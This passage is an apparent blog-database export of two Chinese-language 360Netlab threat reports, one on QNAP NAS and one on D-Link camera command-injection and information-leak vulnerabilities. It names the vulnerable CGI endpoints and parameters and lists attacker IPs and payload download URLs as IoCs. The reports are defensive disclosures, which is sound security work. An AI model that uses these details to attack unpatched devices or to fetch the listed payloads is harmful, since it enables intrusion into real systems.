IP\n```\n176.126.175.10\tAS47540|EURODC-AS\t Romania|Romania|Unknown\n176.126.175.8\tAS47540|EURODC-AS\t Romania|Romania|Unknown\n185.107.80.202\tAS43350|NForce_Entertainment_B.V.\tNetherlands|North_Brabant|Steenbergen\n185.107.80.203\tAS43350|NForce_Entertainment_B.V.\tNetherlands|North_Brabant|Steenbergen\n185.107.80.34\tAS43350|NForce_Entertainment_B.V.\tNetherlands|North_Brabant|Steenbergen\n185.107.80.62\tAS43350|NForce_Entertainment_B.V.\tNetherlands|North_Brabant|Steenbergen\n185.39.11.84\tAS62355|Network_Dedicated_SAS Netherlands|North_Holland|Wormer\n212.224.124.178\tAS44066|First_Colo_GmbH\t Germany|Hesse|Frankfurt\n89.248.174.165\tAS202425|IP_Volume_inc\t Netherlands|North_Holland|Wormer\n89.248.174.166\tAS202425|IP_Volume_inc\t Netherlands|North_Holland|Wormer\n89.248.174.203\tAS202425|IP_Volume_inc\t Netherlands|North_Holland|Wormer\n92.223.73.136\tAS199524|G-Core_Labs_S.A.\t Republic_of_Korea|Seoul|Unknown\n92.223.73.54\tAS199524|G-Core_Labs_S.A.\t Republic_of_Korea|Seoul|Unknown\n92.223.73.55\tAS199524|G-Core_Labs_S.A.\t Republic_of_Korea|Seoul|Unknown\n92.223.73.72\tAS199524|G-Core_Labs_S.A.\t Republic_of_Korea|Seoul|Unknown\n```\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5f338d4b7646030007b284a9 |
post | null | 2020-08-17T07:00:20.000Z | 63873b9a8b1c1e0007f52f7c | in-the-wild-qnap-nas-attacks | 0 | 2022-02-09T07:08:14.000Z | public | published | null | 2020-08-31T14:00:00.000Z | QNAP NAS在野漏洞攻击事件 | <!--kg-card-begin: markdown--><p><em>本文作者：<a href="https://twitter.com/_O_owl">马延龙</a>，<a href="https://twitter.com/zom3y3">叶根深</a>，<a href="https://twitter.com/SethKingHi">金晔</a></em></p>
<h3 id="">背景介绍</h3>
<p>2020年4月21号开始，360Netlab未知威胁检测系统监测到有攻击者使用QNAP NAS设备漏洞，攻击我们的Anglerfish蜜罐节点。我们看到这个漏洞PoC并没有在互联网上公布，攻击者在漏洞利用过程中相对谨慎，互联网上也仍有一些未修复漏洞的QNAP NAS设备。因此，我们需要披露这个漏洞攻击事件，并提醒安全社区和QNAP NAS用户，避免受到此类漏洞攻击。</p>
<h3 id="">漏洞分析</h3>
<p>漏洞类型: 未授权远程命令执行漏洞<br>
漏洞原因: 通过360 FirmwareTotal系统分析，我们发现这个漏洞出现CGI程序<code>/httpd/cgi-bin/authLogout.cgi</code>中。它在处理用户注销登录时，会根据Cookie中字段名称选择相应的注销登录函数。其中<code>QPS_SID</code>，<code>QMS_SID</code>和<code>QMMS_SID</code>注销登录函数未过滤特殊字符即使用<code>snprintf</code>函数拼接<code>curl</code>命令字符串并使用<code>system</code>函数直接执行，所以造成命令注入。</p>
<p>漏洞修复：在2017年7月21号，我们发现QNAP发布固件版本4.3.3修复了这个漏洞。修复后的固件中使用<code>qnap_exec</code>函数替换了原来的<code>system</code>函数。其中<code>qnap_exec</code>函数在<code> /usr/lib/libuLinux_Util.so.0.0</code>中定义，通过调用<code>execv</code>函数执行自定义命令，避免命令注入。<br>
<a href="__GHOST_URL__/content/images/2020/08/bug_fix.png"><img src="__GHOST_URL__/content/images/2020/08/bug_fix.png" class="kg-image"/></a></p>
<h3 id="">攻击者行为分析</h3>
<p>我们共捕获到2个攻击者IP <code>219.85.109.140</code>和 <code>103.209.253.252</code>使用完全一样的Payload，漏洞攻击成功后会通过wget请求<code>http://165.227.39.105:8096/aaa</code>文件。</p>
<p>这个攻击者不像常规的Botnet一样自动化地植入Bot程序，整个攻击过程看起来也不是完全自动化执行的，根据目前的线索，我们还不清楚攻击者的真实目的。</p>
<p>我们在<code>165.227.39.105:8096</code>下载网站上发现其他2个文本文件<code>.sl</code>和<code>rv</code>。其中<code>.sl</code>文件是2行未知的字符串。</p>
<pre><code>IvHVFqkpELqvuN@WK
IvHVFqkpJEqr|DNWLr
</code></pre>
<p><code>rv</code>文件是一个bash反弹shell脚本，控制地址为<code>165.227.39.105</code>,端口为<code>TCP/1234</code>。</p>
<p>此外，我们通过端口探测，发现<code>165.227.39.105</code>运行了SSH，Metasploit，Apache httpd等服务。</p>
<pre><code>Discovered open port 9393/tcp on 165.227.39.105 //SSH
Discovered open port 5678/tcp on 165.227.39.105 //Unknown
Discovered open port 3790/tcp on 165.227.39.105 //Metasploit
Discovered open port 80/tcp on 165.227.39.105 //Apache httpd
</code></pre>
<h3 id="">时间线</h3>
<pre><code>2020年5月13号，我们邮件联系QNAP厂商并报告了漏洞详情以及在野攻击PoC。
2020年8月12号，QNAP PSIRT联络人邮件回复该漏洞已经修复并释出安全性更新，但在网络中此类攻击仍然存在。
</code></pre>
<h3 id="">已知受影响固件列表</h3>
<pre><code>HS-210_20160304-4.2.0
HS-251_20160304-4.2.0
SS-439_20160304-4.2.0
SS-2479U_20160130-4.2.0
TS-119_20160304-4.2.0
TS-210_20160304-4.2.0
TS-219_20160304-4.2.0
TS-221_20160304-4.2.0
TS-239H_20160304-4.2.0
TS-239PROII_20160304-4.2.0
TS-239_20160304-4.2.0
TS-269_20160304-4.2.0
TS-410U_20160304-4.2.0
TS-410_20160304-4.2.0
TS-412U_20160304-4.2.0
TS-419P_20160304-4.2.0
TS-419U_20160304-4.2.0
TS-420U_20160304-4.2.0
TS-421U_20160304-4.2.0
TS-439PROII_20160119-4.2.0
TS-439PROII_20160304-4.2.0
TS-439_20160304-4.2.0
TS-459U_20160119-4.2.0
TS-459U_20160304-4.2.0
TS-459_20160304-4.2.0
TS-469U_20160304-4.2.0
TS-509_20160304-4.2.0
TS-559_20160304-4.2.0
TS-563_20160130-4.2.0
TS-659_20140927-4.1.1
TS-659_20160304-4.2.0
TS-669_20160304-4.2.0
TS-809_20160304-4.2.0
TS-859U_20160304-4.2.0
TS-869_20160304-4.2.0
TS-870U_20160119-4.2.0
TS-870U_20160304-4.2.0
TS-870_20160130-4.2.0
TS-879_20160130-4.2.0
TS-1079_20160119-4.2.0
TS-1269U_20160304-4.2.0
TS-1270U_20160304-4.2.0
TS-1679U_20160304-4.2.0
TS-X51U_20160304-4.2.0
TS-X51_20160304-4.2.0
TS-X53U_20160304-4.2.0
TS-X53U_20161028-4.2.2
TS-X53U_20161102-4.2.2
TS-X53U_20161214-4.2.2
TS-X53U_20170313-4.2.4
TS-X53_20160304-4.2.0
TS-X63U_20161102-4.2.2
TS-X63U_20170313-4.2.4
TS-X80U_20160304-4.2.0
TS-X80_20160130-4.2.0
TS-X80_20160304-4.2.0
TS-X80_20161102-4.2.2
TS-X82_20161208-4.2.2
TS-X82_20170313-4.2.4
TVS-X63_20160130-4.2.0
TVS-X63_20160304-4.2.0
TVS-X63_20160823-4.2.2
TVS-X63_20160901-4.2.2
TVS-X63_20161028-4.2.2
TVS-X63_20161102-4.2.2
TVS-X63_20170121-4.2.3
TVS-X63_20170213-4.2.3
TVS-X63_20170313-4.2.4
TVS-X71U_20161208-4.2.2
TVS-X71_20160130-4.2.0
TVS-X71_20160304-4.2.0
TVS-X71_20161214-4.2.2
TVS-X71_20170313-4.2.4
</code></pre>
<h3 id="">处置建议</h3>
<p>我们建议QNAP NAS用户及时检查并更新固件系统，同时检查是否存在异常进程和网络连接。<br>
我们建议读者对相关IP和URL进行监控和封锁。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h3 id="ioc">IoC</h3>
<p>Scanner IP</p>
<pre><code>219.85.109.140 Taiwan ASN18182 Sony Network Taiwan Limited
103.209.253.252 United States ASN33438 Highwinds Network Group, Inc.
</code></pre>
<p>Downloader IP</p>
<pre><code>165.227.39.105 Canada ASN14061 DigitalOcean, LLC
</code></pre>
<p>URL</p>
<pre><code>http://165.227.39.105:8096/.sl
http://165.227.39.105:8096/rv
http://165.227.39.105:8096/aaa
</code></pre>
<!--kg-card-end: markdown--> | 本文作者：马延龙，叶根深，金晔
背景介绍
2020年4月21号开始，360Netlab未知威胁检测系统监测到有攻击者使用QNAP NAS设备漏洞，攻击我们的Anglerfish蜜罐节点。我们看到这个漏洞PoC并没有在互联网上公布，攻击者在漏洞利用过程中相对谨慎，互联网上也仍有一些未修复漏洞的QNAP NAS设备。因此，我们需要披露这个漏洞攻击事件，并提醒安全社区和QNAP NAS用户，避免受到此类漏洞攻击。
漏洞分析
漏洞类型: 未授权远程命令执行漏洞
漏洞原因: 通过360 FirmwareTotal系统分析，我们发现这个漏洞出现CGI程序/httpd/cgi-bin/authLogout.cgi中。它在处理用户注销登录时，会根据Cookie中字段名称选择相应的注销登录函数。其中QPS_SID，QMS_SID和QMMS_SID注销登录函数未过滤特殊字符即使用snprintf函数拼接curl命令字符串并使用system函数直接执行，所以造成命令注入。
漏洞修复：在2017年7月21号，我们发现QNAP发布固件版本4.3.3修复了这个漏洞。修复后的固件中使用qnap_exec函数替换了原来的system函数。其中qnap_exec函数在 /usr/lib/libuLinux_Util.so.0.0中定义，通过调用execv函数执行自定义命令，避免命令注入。
攻击者行为分析
我们共捕获到2个攻击者IP 219.85.109.140和 103.209.253.252使用完全一样的Payload，漏洞攻击成功后会通过wget请求http://165.227.39.105:8096/aaa文件。
这个攻击者不像常规的Botnet一样自动化地植入Bot程序，整个攻击过程看起来也不是完全自动化执行的，根据目前的线索，我们还不清楚攻击者的真实目的。
我们在165.227.39.105:8096下载网站上发现其他2个文本文件.sl和rv。其中.sl文件是2行未知的字符串。
IvHVFqkpELqvuN@WK
IvHVFqkpJEqr|DNWLr
rv文件是一个bash反弹shell脚本，控制地址为165.227.39.105,端口为TCP/1234。
此外，我们通过端口探测，发现165.227.39.105运行了SSH，Metasploit，Apache httpd等服务。
Discovered open port 9393/tcp on 165.227.39.105 //SSH
Discovered open port 5678/tcp on 165.227.39.105 //Unknown
Discovered open port 3790/tcp on 165.227.39.105 //Metasploit
Discovered open port 80/tcp on 165.227.39.105 //Apache httpd
时间线
2020年5月13号，我们邮件联系QNAP厂商并报告了漏洞详情以及在野攻击PoC。
2020年8月12号，QNAP PSIRT联络人邮件回复该漏洞已经修复并释出安全性更新，但在网络中此类攻击仍然存在。
已知受影响固件列表
HS-210_20160304-4.2.0
HS-251_20160304-4.2.0
SS-439_20160304-4.2.0
SS-2479U_20160130-4.2.0
TS-119_20160304-4.2.0
TS-210_20160304-4.2.0
TS-219_20160304-4.2.0
TS-221_20160304-4.2.0
TS-239H_20160304-4.2.0
TS-239PROII_20160304-4.2.0
TS-239_20160304-4.2.0
TS-269_20160304-4.2.0
TS-410U_20160304-4.2.0
TS-410_20160304-4.2.0
TS-412U_20160304-4.2.0
TS-419P_20160304-4.2.0
TS-419U_20160304-4.2.0
TS-420U_20160304-4.2.0
TS-421U_20160304-4.2.0
TS-439PROII_20160119-4.2.0
TS-439PROII_20160304-4.2.0
TS-439_20160304-4.2.0
TS-459U_20160119-4.2.0
TS-459U_20160304-4.2.0
TS-459_20160304-4.2.0
TS-469U_20160304-4.2.0
TS-509_20160304-4.2.0
TS-559_20160304-4.2.0
TS-563_20160130-4.2.0
TS-659_20140927-4.1.1
TS-659_20160304-4.2.0
TS-669_20160304-4.2.0
TS-809_20160304-4.2.0
TS-859U_20160304-4.2.0
TS-869_20160304-4.2.0
TS-870U_20160119-4.2.0
TS-870U_20160304-4.2.0
TS-870_20160130-4.2.0
TS-879_20160130-4.2.0
TS-1079_20160119-4.2.0
TS-1269U_20160304-4.2.0
TS-1270U_20160304-4.2.0
TS-1679U_20160304-4.2.0
TS-X51U_20160304-4.2.0
TS-X51_20160304-4.2.0
TS-X53U_20160304-4.2.0
TS-X53U_20161028-4.2.2
TS-X53U_20161102-4.2.2
TS-X53U_20161214-4.2.2
TS-X53U_20170313-4.2.4
TS-X53_20160304-4.2.0
TS-X63U_20161102-4.2.2
TS-X63U_20170313-4.2.4
TS-X80U_20160304-4.2.0
TS-X80_20160130-4.2.0
TS-X80_20160304-4.2.0
TS-X80_20161102-4.2.2
TS-X82_20161208-4.2.2
TS-X82_20170313-4.2.4
TVS-X63_20160130-4.2.0
TVS-X63_20160304-4.2.0
TVS-X63_20160823-4.2.2
TVS-X63_20160901-4.2.2
TVS-X63_20161028-4.2.2
TVS-X63_20161102-4.2.2
TVS-X63_20170121-4.2.3
TVS-X63_20170213-4.2.3
TVS-X63_20170313-4.2.4
TVS-X71U_20161208-4.2.2
TVS-X71_20160130-4.2.0
TVS-X71_20160304-4.2.0
TVS-X71_20161214-4.2.2
TVS-X71_20170313-4.2.4
处置建议
我们建议QNAP NAS用户及时检查并更新固件系统，同时检查是否存在异常进程和网络连接。
我们建议读者对相关IP和URL进行监控和封锁。
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IoC
Scanner IP
219.85.109.140 Taiwan ASN18182 Sony Network Taiwan Limited
103.209.253.252 United States ASN33438 Highwinds Network Group, Inc.
Downloader IP
165.227.39.105 Canada ASN14061 DigitalOcean, LLC
URL
http://165.227.39.105:8096/.sl
http://165.227.39.105:8096/rv
http://165.227.39.105:8096/aaa
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"*本文作者：[马延龙](https://twitter.com/_O_owl)，[叶根深](https://twitter.com/zom3y3)，[金晔](https://twitter.com/SethKingHi)*\n### 背景介绍\n2020年4月21号开始，360Netlab未知威胁检测系统监测到有攻击者使用QNAP NAS设备漏洞，攻击我们的Anglerfish蜜罐节点。我们看到这个漏洞PoC并没有在互联网上公布，攻击者在漏洞利用过程中相对谨慎，互联网上也仍有一些未修复漏洞的QNAP NAS设备。因此，我们需要披露这个漏洞攻击事件，并提醒安全社区和QNAP NAS用户，避免受到此类漏洞攻击。\n\n### 漏洞分析\n漏洞类型: 未授权远程命令执行漏洞\n漏洞原因: 通过360 FirmwareTotal系统分析，我们发现这个漏洞出现CGI程序`/httpd/cgi-bin/authLogout.cgi`中。它在处理用户注销登录时，会根据Cookie中字段名称选择相应的注销登录函数。其中`QPS_SID`，`QMS_SID`和`QMMS_SID`注销登录函数未过滤特殊字符即使用`snprintf`函数拼接`curl`命令字符串并使用`system`函数直接执行，所以造成命令注入。\n\n漏洞修复：在2017年7月21号，我们发现QNAP发布固件版本4.3.3修复了这个漏洞。修复后的固件中使用`qnap_exec`函数替换了原来的`system`函数。其中`qnap_exec`函数在` /usr/lib/libuLinux_Util.so.0.0`中定义，通过调用`execv`函数执行自定义命令，避免命令注入。\n<a href=\"__GHOST_URL__/content/images/2020/08/bug_fix.png\"><img src=\"__GHOST_URL__/content/images/2020/08/bug_fix.png\" class=\"kg-image\"/></a>\n\n### 攻击者行为分析\n我们共捕获到2个攻击者IP `219.85.109.140`和 `103.209.253.252`使用完全一样的Payload，漏洞攻击成功后会通过wget请求`http://165.227.39.105:8096/aaa`文件。\n\n这个攻击者不像常规的Botnet一样自动化地植入Bot程序，整个攻击过程看起来也不是完全自动化执行的，根据目前的线索，我们还不清楚攻击者的真实目的。\n\n我们在`165.227.39.105:8096`下载网站上发现其他2个文本文件`.sl`和`rv`。其中`.sl`文件是2行未知的字符串。\n```\nIvHVFqkpELqvuN@WK\nIvHVFqkpJEqr|DNWLr\n```\n`rv`文件是一个bash反弹shell脚本，控制地址为`165.227.39.105`,端口为`TCP/1234`。\n\n此外，我们通过端口探测，发现`165.227.39.105`运行了SSH，Metasploit，Apache httpd等服务。\n```\nDiscovered open port 9393/tcp on 165.227.39.105 //SSH\nDiscovered open port 5678/tcp on 165.227.39.105 //Unknown\nDiscovered open port 3790/tcp on 165.227.39.105 //Metasploit\nDiscovered open port 80/tcp on 165.227.39.105 //Apache httpd\n```\n\n\n### 时间线\n```\n2020年5月13号，我们邮件联系QNAP厂商并报告了漏洞详情以及在野攻击PoC。\n2020年8月12号，QNAP PSIRT联络人邮件回复该漏洞已经修复并释出安全性更新，但在网络中此类攻击仍然存在。\n```\n\n### 已知受影响固件列表\n```\nHS-210_20160304-4.2.0\nHS-251_20160304-4.2.0\nSS-439_20160304-4.2.0\nSS-2479U_20160130-4.2.0\nTS-119_20160304-4.2.0\nTS-210_20160304-4.2.0\nTS-219_20160304-4.2.0\nTS-221_20160304-4.2.0\nTS-239H_20160304-4.2.0\nTS-239PROII_20160304-4.2.0\nTS-239_20160304-4.2.0\nTS-269_20160304-4.2.0\nTS-410U_20160304-4.2.0\nTS-410_20160304-4.2.0\nTS-412U_20160304-4.2.0\nTS-419P_20160304-4.2.0\nTS-419U_20160304-4.2.0\nTS-420U_20160304-4.2.0\nTS-421U_20160304-4.2.0\nTS-439PROII_20160119-4.2.0\nTS-439PROII_20160304-4.2.0\nTS-439_20160304-4.2.0\nTS-459U_20160119-4.2.0\nTS-459U_20160304-4.2.0\nTS-459_20160304-4.2.0\nTS-469U_20160304-4.2.0\nTS-509_20160304-4.2.0\nTS-559_20160304-4.2.0\nTS-563_20160130-4.2.0\nTS-659_20140927-4.1.1\nTS-659_20160304-4.2.0\nTS-669_20160304-4.2.0\nTS-809_20160304-4.2.0\nTS-859U_20160304-4.2.0\nTS-869_20160304-4.2.0\nTS-870U_20160119-4.2.0\nTS-870U_20160304-4.2.0\nTS-870_20160130-4.2.0\nTS-879_20160130-4.2.0\nTS-1079_20160119-4.2.0\nTS-1269U_20160304-4.2.0\nTS-1270U_20160304-4.2.0\nTS-1679U_20160304-4.2.0\nTS-X51U_20160304-4.2.0\nTS-X51_20160304-4.2.0\nTS-X53U_20160304-4.2.0\nTS-X53U_20161028-4.2.2\nTS-X53U_20161102-4.2.2\nTS-X53U_20161214-4.2.2\nTS-X53U_20170313-4.2.4\nTS-X53_20160304-4.2.0\nTS-X63U_20161102-4.2.2\nTS-X63U_20170313-4.2.4\nTS-X80U_20160304-4.2.0\nTS-X80_20160130-4.2.0\nTS-X80_20160304-4.2.0\nTS-X80_20161102-4.2.2\nTS-X82_20161208-4.2.2\nTS-X82_20170313-4.2.4\nTVS-X63_20160130-4.2.0\nTVS-X63_20160304-4.2.0\nTVS-X63_20160823-4.2.2\nTVS-X63_20160901-4.2.2\nTVS-X63_20161028-4.2.2\nTVS-X63_20161102-4.2.2\nTVS-X63_20170121-4.2.3\nTVS-X63_20170213-4.2.3\nTVS-X63_20170313-4.2.4\nTVS-X71U_20161208-4.2.2\nTVS-X71_20160130-4.2.0\nTVS-X71_20160304-4.2.0\nTVS-X71_20161214-4.2.2\nTVS-X71_20170313-4.2.4\n```\n\n### 处置建议\n我们建议QNAP NAS用户及时检查并更新固件系统，同时检查是否存在异常进程和网络连接。\n我们建议读者对相关IP和URL进行监控和封锁。\n\n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n\n### IoC\nScanner IP\n```\n219.85.109.140 \tTaiwan \tASN18182 \tSony Network Taiwan Limited\n103.209.253.252 \tUnited States \tASN33438 \tHighwinds Network Group, Inc.\n```\nDownloader IP\n```\n165.227.39.105 \tCanada \tASN14061 \tDigitalOcean, LLC\n```\n\nURL\n```\nhttp://165.227.39.105:8096/.sl\nhttp://165.227.39.105:8096/rv\nhttp://165.227.39.105:8096/aaa\n```\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5f3a2b047646030007b2850e |
post | null | 2020-08-27T03:47:45.000Z | 63873b9a8b1c1e0007f52f7d | dlink | 0 | 2020-09-24T02:19:32.000Z | public | draft | null | null | D-Link摄像头在野0-day漏洞分析报告 | <!--kg-card-begin: markdown--><p><em>本文作者：<a href="https://twitter.com/_O_owl">马延龙</a>，<a href="https://twitter.com/zom3y3">叶根深</a></em></p>
<h3 id="">背景介绍</h3>
<p>2020年6月12号，@Dogonsecurity在推特上披露了这2个0-day漏洞部分细节[<a href="https://twitter.com/Dogonsecurity/status/1271265152118259712">1]</a> [<a href="https://twitter.com/Dogonsecurity/status/1273251236167516161">2]</a> ，并且互联网上已有这2个0-day漏洞PoC程序[<a href="https://pastebin.com/1WTDdKpR">3]</a>。</p>
<p>2020年7月4号，CNCERT物联网安全研究团队与360网络安全研究院共同分析，监测到有攻击者使用D-Link摄像头2个0-day漏洞，进行网络攻击活动。</p>
<p>2020年8月27号，D-Link针对这2个0-day漏洞事件更新了安全公告[<a href="https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10180">4]</a>，并推出固件升级程序v1.06.01。</p>
<p>目前，我们已经发现D-Link共有9款型号的摄像头存在这2个0-day漏洞, 并向D-Link报告了受影响的范围，另外还报告了固件升级程序v1.06.01存在的漏洞。</p>
<h3 id="">漏洞分析</h3>
<p>通过360 FirmwareTotal系统分析，D-Link摄像头2个在野0-day漏洞分别是：信息泄漏漏洞和命令注入漏洞，通过组合这2个漏洞，攻击者可以远程控制目标设备，威胁极高。</p>
<h4 id="">信息泄露漏洞分析</h4>
<p>漏洞类型：信息泄露<br>
漏洞原因：<code>/appro/execs/aHttpMain</code>程序在处理读取相关配置信息时并不需要登录认证，导致用户名、密码和软件版本等明文信息可被任意访问。<br>
<a href="__GHOST_URL__/content/images/2020/08/dlink_getuser.png"><img src="__GHOST_URL__/content/images/2020/08/dlink_getuser.png" class="kg-image"/></a></p>
<h4 id="">命令注入漏洞分析</h4>
<p>漏洞类型：命令注入<br>
漏洞原因：<code>/appro/execs/aHttpMain</code>程序在处理用户<code>/cgi-bin/ddns_enc.cgi</code>和<code>/cgi-bin/ddns.cgi</code>请求时，未对<code>account</code>参数进行过滤，即拼接为<code>ez-ipupdate</code>或<code>noip2</code>程序的参数并执行，造成命令注入漏洞。<br>
<a href="__GHOST_URL__/content/images/2020/08/dlink_noip.png"><img src="__GHOST_URL__/content/images/2020/08/dlink_noip.png" class="kg-image"/></a></p>
<p><a href="__GHOST_URL__/content/images/2020/08/dlink_ez_ipupdate.png"><img src="__GHOST_URL__/content/images/2020/08/dlink_ez_ipupdate.png" class="kg-image"/></a></p>
<h3 id="">已知受影响固件列表</h3>
<pre><code>DCS-2530L_A1_FW_V1.03.01
DCS-2530L_A1_FW_V1.04.01
DCS-2530L_Ax_FW_V1.04.01
DCS-2530L_REVA_FIRMWARE_1.03.01
DCS-2530L_REVA_FIRMWARE_v1.03.01
DCS-2530L_REVA_FIRMWARE_v1.04.01
DCS-2530L_REVA_FIRMWARE_v1.05.05
DCS-2530L_fw_revA1_1-03-01_eu_multi_20171108
DCS-2530L_fw_revAx_1-04-01_eu_multi_20180601
DCS-2670L_A1_FW_V2.01.031030103739
DCS-2670L_FIRMWARE_2.01.10
DCS-2670L_FW_v1.10.02
DCS-2670L_fw_revA1_1-10-02_eu_multi_20171108
DCS-2670L_fw_revA1_2-01-03_eu_multi
DCS-2670L_fw_revB1_2-01_eu_multi_20190710
DCS-4603_A1_FW_V1.03.04
DCS-4603_FW_V1.02.02
DCS-4603_REVA_FIRMWARE_1.02
DCS-4603_REVA_FIRMWARE_v1.02.02
DCS-4603_REVA_FIRMWARE_v1.03.04
DCS-4603_fw_revA1_1-02-02_eu_multi_20171103
DCS-4603_fw_revA1_1-03-04_eu_multi_20190422
DCS-4622_B1_FW_V2.00.04
DCS-4622_REVB_FIRMWARE_v2.00.04
DCS-4622_fw_revB1_2-00-04_eu_multi_20181109
DCS-4701E_B1_FW_V2.00.21_
DCS-4701E_VB1_FIRMWARE_v2.00.21
DCS-4703E_FW_V1.01.00
DCS-4703E_FW_V1.02.03
DCS-4703E_REVA_FIRMWARE_1.01
DCS-4703E_REVA_FIRMWARE_v1.01
DCS-4703E_REVA_FIRMWARE_v1.02.03
DCS-4703E_fw_revA1_1-01_eu_multi_20170929
DCS-4703E_fw_revA1_1-02-03_eu_multi_20190426
DCS-4705E_A1_FW_v1.00.12
DCS-4705E_A1_FW_v1.01.00
DCS-4705E_REVA_FIRMWARE_v1.00.12
DCS-4705E_REVA_FIRMWARE_v1.01.00
DCS-4705E_fw_revA1_1-00-12_eu_multi_20181205
DCS-4705E_fw_revA1_1-01-00_eu_multi_20190905
DCS-4802E_B1_FW_V2.00.09
DCS-4802E_REVB_FIRMWARE_v2.00.09
DCS-4802E_fw_revB1_2-00-09_eu_multi_20190422
DCS-P703_A1_FW_V1.01.00
</code></pre>
<h3 id="">处置建议</h3>
<p>我们建议D-Link摄像头用户及时检查并更新固件系统，同时检查是否存在异常进程和网络连接。<br>
我们建议读者对相关IP和URL进行监控和封锁。</p>
<h3 id="">联系我们</h3>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> 或者通过邮件<strong>netlab[at]360.cn</strong>联系我们。</p>
<h3 id="ioc">IoC</h3>
<p>Scanner IP</p>
<pre><code>106.59.222.2 China ASN4134 No.31,Jin-rong Street
</code></pre>
<p>Downloader IP</p>
<pre><code>103.138.12.202 China ASN134176 Rainbow network limited
</code></pre>
<p>URL</p>
<pre><code>http://103.138.12.202:8099/dlink
</code></pre>
<!--kg-card-end: markdown--> | 本文作者：马延龙，叶根深
背景介绍
2020年6月12号，@Dogonsecurity在推特上披露了这2个0-day漏洞部分细节[1] [2] ，并且互联网上已有这2个0-day漏洞PoC程序[3]。
2020年7月4号，CNCERT物联网安全研究团队与360网络安全研究院共同分析，监测到有攻击者使用D-Link摄像头2个0-day漏洞，进行网络攻击活动。
2020年8月27号，D-Link针对这2个0-day漏洞事件更新了安全公告[4]，并推出固件升级程序v1.06.01。
目前，我们已经发现D-Link共有9款型号的摄像头存在这2个0-day漏洞, 并向D-Link报告了受影响的范围，另外还报告了固件升级程序v1.06.01存在的漏洞。
漏洞分析
通过360 FirmwareTotal系统分析，D-Link摄像头2个在野0-day漏洞分别是：信息泄漏漏洞和命令注入漏洞，通过组合这2个漏洞，攻击者可以远程控制目标设备，威胁极高。
信息泄露漏洞分析
漏洞类型：信息泄露
漏洞原因：/appro/execs/aHttpMain程序在处理读取相关配置信息时并不需要登录认证，导致用户名、密码和软件版本等明文信息可被任意访问。
命令注入漏洞分析
漏洞类型：命令注入
漏洞原因：/appro/execs/aHttpMain程序在处理用户/cgi-bin/ddns_enc.cgi和/cgi-bin/ddns.cgi请求时，未对account参数进行过滤，即拼接为ez-ipupdate或noip2程序的参数并执行，造成命令注入漏洞。
已知受影响固件列表
DCS-2530L_A1_FW_V1.03.01
DCS-2530L_A1_FW_V1.04.01
DCS-2530L_Ax_FW_V1.04.01
DCS-2530L_REVA_FIRMWARE_1.03.01
DCS-2530L_REVA_FIRMWARE_v1.03.01
DCS-2530L_REVA_FIRMWARE_v1.04.01
DCS-2530L_REVA_FIRMWARE_v1.05.05
DCS-2530L_fw_revA1_1-03-01_eu_multi_20171108
DCS-2530L_fw_revAx_1-04-01_eu_multi_20180601
DCS-2670L_A1_FW_V2.01.031030103739
DCS-2670L_FIRMWARE_2.01.10
DCS-2670L_FW_v1.10.02
DCS-2670L_fw_revA1_1-10-02_eu_multi_20171108
DCS-2670L_fw_revA1_2-01-03_eu_multi
DCS-2670L_fw_revB1_2-01_eu_multi_20190710
DCS-4603_A1_FW_V1.03.04
DCS-4603_FW_V1.02.02
DCS-4603_REVA_FIRMWARE_1.02
DCS-4603_REVA_FIRMWARE_v1.02.02
DCS-4603_REVA_FIRMWARE_v1.03.04
DCS-4603_fw_revA1_1-02-02_eu_multi_20171103
DCS-4603_fw_revA1_1-03-04_eu_multi_20190422
DCS-4622_B1_FW_V2.00.04
DCS-4622_REVB_FIRMWARE_v2.00.04
DCS-4622_fw_revB1_2-00-04_eu_multi_20181109
DCS-4701E_B1_FW_V2.00.21_
DCS-4701E_VB1_FIRMWARE_v2.00.21
DCS-4703E_FW_V1.01.00
DCS-4703E_FW_V1.02.03
DCS-4703E_REVA_FIRMWARE_1.01
DCS-4703E_REVA_FIRMWARE_v1.01
DCS-4703E_REVA_FIRMWARE_v1.02.03
DCS-4703E_fw_revA1_1-01_eu_multi_20170929
DCS-4703E_fw_revA1_1-02-03_eu_multi_20190426
DCS-4705E_A1_FW_v1.00.12
DCS-4705E_A1_FW_v1.01.00
DCS-4705E_REVA_FIRMWARE_v1.00.12
DCS-4705E_REVA_FIRMWARE_v1.01.00
DCS-4705E_fw_revA1_1-00-12_eu_multi_20181205
DCS-4705E_fw_revA1_1-01-00_eu_multi_20190905
DCS-4802E_B1_FW_V2.00.09
DCS-4802E_REVB_FIRMWARE_v2.00.09
DCS-4802E_fw_revB1_2-00-09_eu_multi_20190422
DCS-P703_A1_FW_V1.01.00
处置建议
我们建议D-Link摄像头用户及时检查并更新固件系统，同时检查是否存在异常进程和网络连接。
我们建议读者对相关IP和URL进行监控和封锁。
联系我们
感兴趣的读者，可以在 twitter 或者通过邮件netlab[at]360.cn联系我们。
IoC
Scanner IP
106.59.222.2 China ASN4134 No.31,Jin-rong Street
Downloader IP
103.138.12.202 China ASN134176 Rainbow network limited
URL
http://103.138.12.202:8099/dlink
